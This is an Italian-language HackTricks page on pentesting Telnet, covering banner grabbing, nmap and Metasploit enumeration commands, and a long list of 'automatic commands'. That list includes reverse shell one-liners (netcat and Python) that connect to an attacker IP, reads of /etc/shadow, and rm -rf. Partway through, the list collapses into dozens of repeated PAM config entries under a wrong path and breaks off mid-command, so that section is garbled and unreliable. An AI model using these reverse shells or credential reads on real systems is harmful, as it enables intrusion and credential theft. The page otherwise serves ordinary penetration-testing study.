hacktricks/network-services-pentesting/pentesting-telnet.md
2024-02-10 13:03:23 +00:00

747 lines
22 KiB
Markdown

# 23 - Pentesting Telnet
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, ottenere accesso shell e divertirsi.
{% embed url="https://pentest-tools.com/" %}
## **Informazioni di base**
Telnet è un protocollo di rete che offre agli utenti un modo NON sicuro per accedere a un computer tramite una rete.
**Porta predefinita:** 23
```
23/tcp open telnet
```
Telnet è un protocollo di rete che consente la comunicazione tra dispositivi tramite una connessione TCP. Durante la fase di enumerazione, è possibile ottenere informazioni sul servizio Telnet utilizzando la tecnica del "banner grabbing". Questo coinvolge la connessione al servizio Telnet e l'acquisizione del banner di benvenuto che viene restituito dal server Telnet.
Per eseguire il banner grabbing Telnet, è possibile utilizzare strumenti come Telnet stesso o Telnet Client. Una volta connessi al servizio Telnet, verrà visualizzato il banner di benvenuto che può contenere informazioni utili come il nome del sistema operativo, la versione del software Telnet e altre informazioni di configurazione.
Il banner grabbing Telnet può essere utile per identificare le versioni vulnerabili del software Telnet o per ottenere informazioni sul sistema target che possono essere utilizzate per ulteriori fasi di attacco.
```bash
nc -vn <IP> 23
```
Tutte le interessanti operazioni di enumerazione possono essere eseguite tramite **nmap**:
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
Lo script `telnet-ntlm-info.nse` otterrà informazioni NTLM (versioni Windows).
Dal [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Nel protocollo TELNET ci sono varie "**opzioni**" che saranno sanzionate e potranno essere utilizzate con la struttura "**DO, DON'T, WILL, WON'T**" per consentire a un utente e a un server di concordare l'utilizzo di un insieme di convenzioni più elaborate (o forse semplicemente diverse) per la loro connessione TELNET. Tali opzioni potrebbero includere la modifica del set di caratteri, la modalità di echo, ecc.
**So che è possibile enumerare queste opzioni, ma non so come farlo, quindi fammi sapere se lo sai.**
### [Forza bruta](../generic-methodologies-and-resources/brute-force.md#telnet)
## File di configurazione
```bash
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
```
## Comandi Automatici di HackTricks
In questa sezione, troverai una lista di comandi automatici che possono essere utilizzati durante un test di penetrazione su Telnet. Questi comandi possono semplificare il processo di raccolta di informazioni e l'esecuzione di azioni specifiche.
### Comandi di Informazioni
#### `whoami`
Restituisce l'utente corrente.
#### `id`
Restituisce informazioni sull'utente corrente, inclusi l'ID utente (UID) e i gruppi di appartenenza.
#### `uname -a`
Restituisce informazioni sul sistema operativo, come il nome del kernel, la versione e l'architettura.
#### `ls`
Elenco dei file e delle directory presenti nella directory corrente.
#### `pwd`
Restituisce il percorso completo della directory corrente.
#### `cat <file>`
Visualizza il contenuto di un file specificato.
#### `netstat -ano`
Visualizza le connessioni di rete attive, inclusi i processi associati e i numeri di porta.
#### `ps -ef`
Visualizza i processi in esecuzione sul sistema.
### Comandi di Esecuzione
#### `echo <command> | bash`
Esegue un comando specificato.
#### `wget <URL> -O <output_file>`
Scarica un file da un URL specificato e lo salva con un nome specificato.
#### `nc -e /bin/sh <attacker_ip> <attacker_port>`
Avvia una shell remota verso un indirizzo IP specificato e una porta specificata.
#### `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<attacker_port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
Avvia una shell remota verso un indirizzo IP specificato e una porta specificata utilizzando Python.
#### `rm -rf <file/directory>`
Rimuove un file o una directory specificata.
#### `chmod +x <file>`
Concede i permessi di esecuzione a un file specificato.
#### `./<file>`
Esegue un file specificato.
### Comandi di Privilegio
#### `sudo -l`
Visualizza i comandi che l'utente corrente può eseguire con privilegi di amministratore.
#### `sudo <command>`
Esegue un comando specificato con privilegi di amministratore.
#### `su <username>`
Passa all'account di un altro utente.
#### `su -`
Passa all'account di root.
#### `sudo su`
Passa all'account di root con privilegi di amministratore.
### Comandi di Rete
#### `ifconfig`
Visualizza le informazioni sull'interfaccia di rete.
#### `ip addr show`
Visualizza le informazioni sull'indirizzo IP dell'interfaccia di rete.
#### `ip route show`
Visualizza le informazioni sulle route di rete.
#### `ping <ip_address>`
Invia pacchetti di ping a un indirizzo IP specificato.
#### `traceroute <ip_address>`
Visualizza il percorso dei pacchetti verso un indirizzo IP specificato.
#### `nc -nv <ip_address> <port>`
Avvia una connessione TCP verso un indirizzo IP specificato e una porta specificata utilizzando Netcat.
#### `telnet <ip_address> <port>`
Avvia una connessione Telnet verso un indirizzo IP specificato e una porta specificata.
#### `ssh <username>@<ip_address>`
Avvia una connessione SSH verso un indirizzo IP specificato utilizzando un nome utente specificato.
#### `scp <file> <username>@<ip_address>:<destination_path>`
Copia un file specificato su un server remoto utilizzando SCP.
#### `sftp <username>@<ip_address>`
Avvia una sessione SFTP verso un indirizzo IP specificato utilizzando un nome utente specificato.
#### `ftp <ip_address>`
Avvia una connessione FTP verso un indirizzo IP specificato.
#### `wget <URL>`
Scarica un file da un URL specificato.
#### `curl <URL>`
Esegue una richiesta HTTP verso un URL specificato utilizzando cURL.
#### `dig <domain>`
Esegue una query DNS per un dominio specificato.
#### `nslookup <domain>`
Esegue una query DNS per un dominio specificato utilizzando nslookup.
#### `host <domain>`
Esegue una query DNS per un dominio specificato utilizzando host.
#### `whois <domain>`
Recupera informazioni WHOIS per un dominio specificato.
#### `nmap -p- <ip_address>`
Scansiona tutte le porte aperte su un indirizzo IP specificato utilizzando Nmap.
#### `nmap -sV -p <port> <ip_address>`
Scansiona un indirizzo IP specificato per una porta specificata utilizzando Nmap e restituisce informazioni sul servizio associato.
#### `nc -lvp <port>`
Avvia un listener Netcat su una porta specificata.
#### `tcpdump -i <interface>`
Cattura e visualizza il traffico di rete in tempo reale su un'interfaccia di rete specificata utilizzando tcpdump.
#### `wireshark`
Avvia l'interfaccia grafica di Wireshark per catturare e analizzare il traffico di rete.
### Comandi di File System
#### `find / -name <filename>`
Cerca un file specificato nel sistema di file.
#### `locate <filename>`
Trova il percorso di un file specificato utilizzando il database di localizzazione.
#### `grep <pattern> <file>`
Cerca un pattern specificato all'interno di un file specificato utilizzando grep.
#### `strings <file>`
Estrae le stringhe leggibili da un file specificato.
#### `file <file>`
Restituisce il tipo di file di un file specificato.
#### `head <file>`
Visualizza le prime righe di un file specificato.
#### `tail <file>`
Visualizza le ultime righe di un file specificato.
#### `less <file>`
Visualizza il contenuto di un file specificato in modo interattivo.
#### `cp <source_file> <destination_file>`
Copia un file specificato in una destinazione specificata.
#### `mv <source_file> <destination_file>`
Sposta o rinomina un file specificato.
#### `mkdir <directory>`
Crea una nuova directory con un nome specificato.
#### `rmdir <directory>`
Rimuove una directory vuota specificata.
#### `touch <file>`
Crea un nuovo file con un nome specificato.
#### `ln -s <source_file> <destination_file>`
Crea un link simbolico tra un file sorgente e un file di destinazione.
#### `df -h`
Visualizza lo spazio su disco utilizzato e disponibile nel sistema.
#### `du -sh <directory>`
Visualizza la dimensione totale di una directory specificata.
#### `tar -cvf <archive_file> <file/directory>`
Crea un file di archivio compresso specificato da uno o più file o directory specificati.
#### `tar -xvf <archive_file>`
Estrae il contenuto di un file di archivio compresso specificato.
#### `gzip <file>`
Comprime un file specificato utilizzando gzip.
#### `gunzip <file>`
Decomprime un file specificato compresso con gzip.
#### `zip <archive_file> <file/directory>`
Crea un file di archivio compresso specificato da uno o più file o directory specificati utilizzando zip.
#### `unzip <archive_file>`
Estrae il contenuto di un file di archivio compresso specificato utilizzando unzip.
### Comandi di Sistema
#### `date`
Restituisce la data e l'ora correnti.
#### `cal`
Visualizza il calendario corrente.
#### `uptime`
Restituisce il tempo trascorso dall'ultimo avvio del sistema.
#### `w`
Visualizza gli utenti attualmente connessi al sistema.
#### `who`
Visualizza gli utenti attualmente connessi al sistema.
#### `last`
Visualizza l'elenco degli utenti che hanno effettuato l'accesso al sistema.
#### `history`
Visualizza la cronologia dei comandi eseguiti dall'utente corrente.
#### `shutdown -h now`
Arresta il sistema immediatamente.
#### `reboot`
Riavvia il sistema.
#### `ps aux`
Visualizza i processi in esecuzione sul sistema.
#### `top`
Visualizza i processi in esecuzione in tempo reale e le risorse di sistema utilizzate.
#### `kill <process_id>`
Termina un processo specificato utilizzando il suo ID.
#### `killall <process_name>`
Termina tutti i processi con un nome specificato.
#### `bg`
Esegue un processo in background.
#### `fg`
Riporta un processo in foreground.
#### `jobs`
Visualizza i processi in background.
#### `nohup <command> &`
Esegue un comando specificato in background e ignora il segnale di chiusura.
#### `cron`
Gestisce i processi pianificati nel sistema.
#### `at`
Esegue un comando specificato in un momento specificato.
#### `systemctl start <service>`
Avvia un servizio specificato utilizzando systemctl.
#### `systemctl stop <service>`
Arresta un servizio specificato utilizzando systemctl.
#### `systemctl restart <service>`
Riavvia un servizio specificato utilizzando systemctl.
#### `systemctl status <service>`
Visualizza lo stato di un servizio specificato utilizzando systemctl.
#### `systemctl enable <service>`
Abilita un servizio specificato in modo che venga avviato automaticamente all'avvio del sistema.
#### `systemctl disable <service>`
Disabilita un servizio specificato in modo che non venga avviato automaticamente all'avvio del sistema.
#### `systemctl list-units --type=service`
Visualizza l'elenco dei servizi disponibili nel sistema.
#### `lsmod`
Visualizza i moduli del kernel caricati nel sistema.
#### `modprobe <module>`
Carica un modulo del kernel specificato.
#### `rmmod <module>`
Rimuove un modulo del kernel specificato.
#### `dmesg`
Visualizza i messaggi del kernel.
#### `uname -r`
Restituisce la versione del kernel.
#### `lsb_release -a`
Restituisce le informazioni sulla distribuzione Linux.
#### `cat /etc/*-release`
Restituisce le informazioni sulla distribuzione Linux.
#### `cat /etc/passwd`
Visualizza l'elenco degli utenti nel sistema.
#### `cat /etc/group`
Visualizza l'elenco dei gruppi nel sistema.
#### `cat /etc/shadow`
Visualizza le informazioni sugli utenti e le password crittografate nel sistema.
#### `cat /etc/sudoers`
Visualizza le configurazioni di sudo nel sistema.
#### `cat /etc/crontab`
Visualizza le configurazioni di cron nel sistema.
#### `cat /etc/hosts`
Visualizza le voci del file hosts nel sistema.
#### `cat /etc/resolv.conf`
Visualizza le configurazioni DNS nel sistema.
#### `cat /etc/fstab`
Visualizza le configurazioni dei punti di montaggio nel sistema.
#### `cat /etc/ssh/sshd_config`
Visualizza le configurazioni di SSH nel sistema.
#### `cat /etc/apache2/apache2.conf`
Visualizza le configurazioni di Apache nel sistema.
#### `cat /etc/nginx/nginx.conf`
Visualizza le configurazioni di Nginx nel sistema.
#### `cat /etc/mysql/my.cnf`
Visualizza le configurazioni di MySQL nel sistema.
#### `cat /etc/postgresql/<version>/main/postgresql.conf`
Visualizza le configurazioni di PostgreSQL nel sistema.
#### `cat /etc/mongodb.conf`
Visualizza le configurazioni di MongoDB nel sistema.
#### `cat /etc/redis/redis.conf`
Visualizza le configurazioni di Redis nel sistema.
#### `cat /etc/hosts.allow`
Visualizza le regole di accesso consentite nel sistema.
#### `cat /etc/hosts.deny`
Visualizza le regole di accesso negate nel sistema.
#### `cat /etc/sysctl.conf`
Visualizza le configurazioni del kernel nel sistema.
#### `cat /etc/security/limits.conf`
Visualizza le configurazioni dei limiti di sistema nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/pam.d/common-password`
Visualizza le configurazioni delle password comuni nel sistema.
#### `cat /etc/security/pam.d/common-auth`
Visualizza le configurazioni di autenticazione comuni nel sistema.
#### `cat /etc/security/pam.d/common-session`
Visualizza le configurazioni di sessione comuni nel sistema.
#### `cat /etc/security/pam.d/common-account`
Visualizza le configurazioni degli account comuni nel sistema.
#### `cat /etc/security/pam.d/common-session-noninteractive`
Visualizza le configurazioni di sessione non interattive comuni nel sistema.
#### `cat /etc/security/p
```
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester, sviluppiamo invece strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, ottenere accesso shell e divertirsi.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>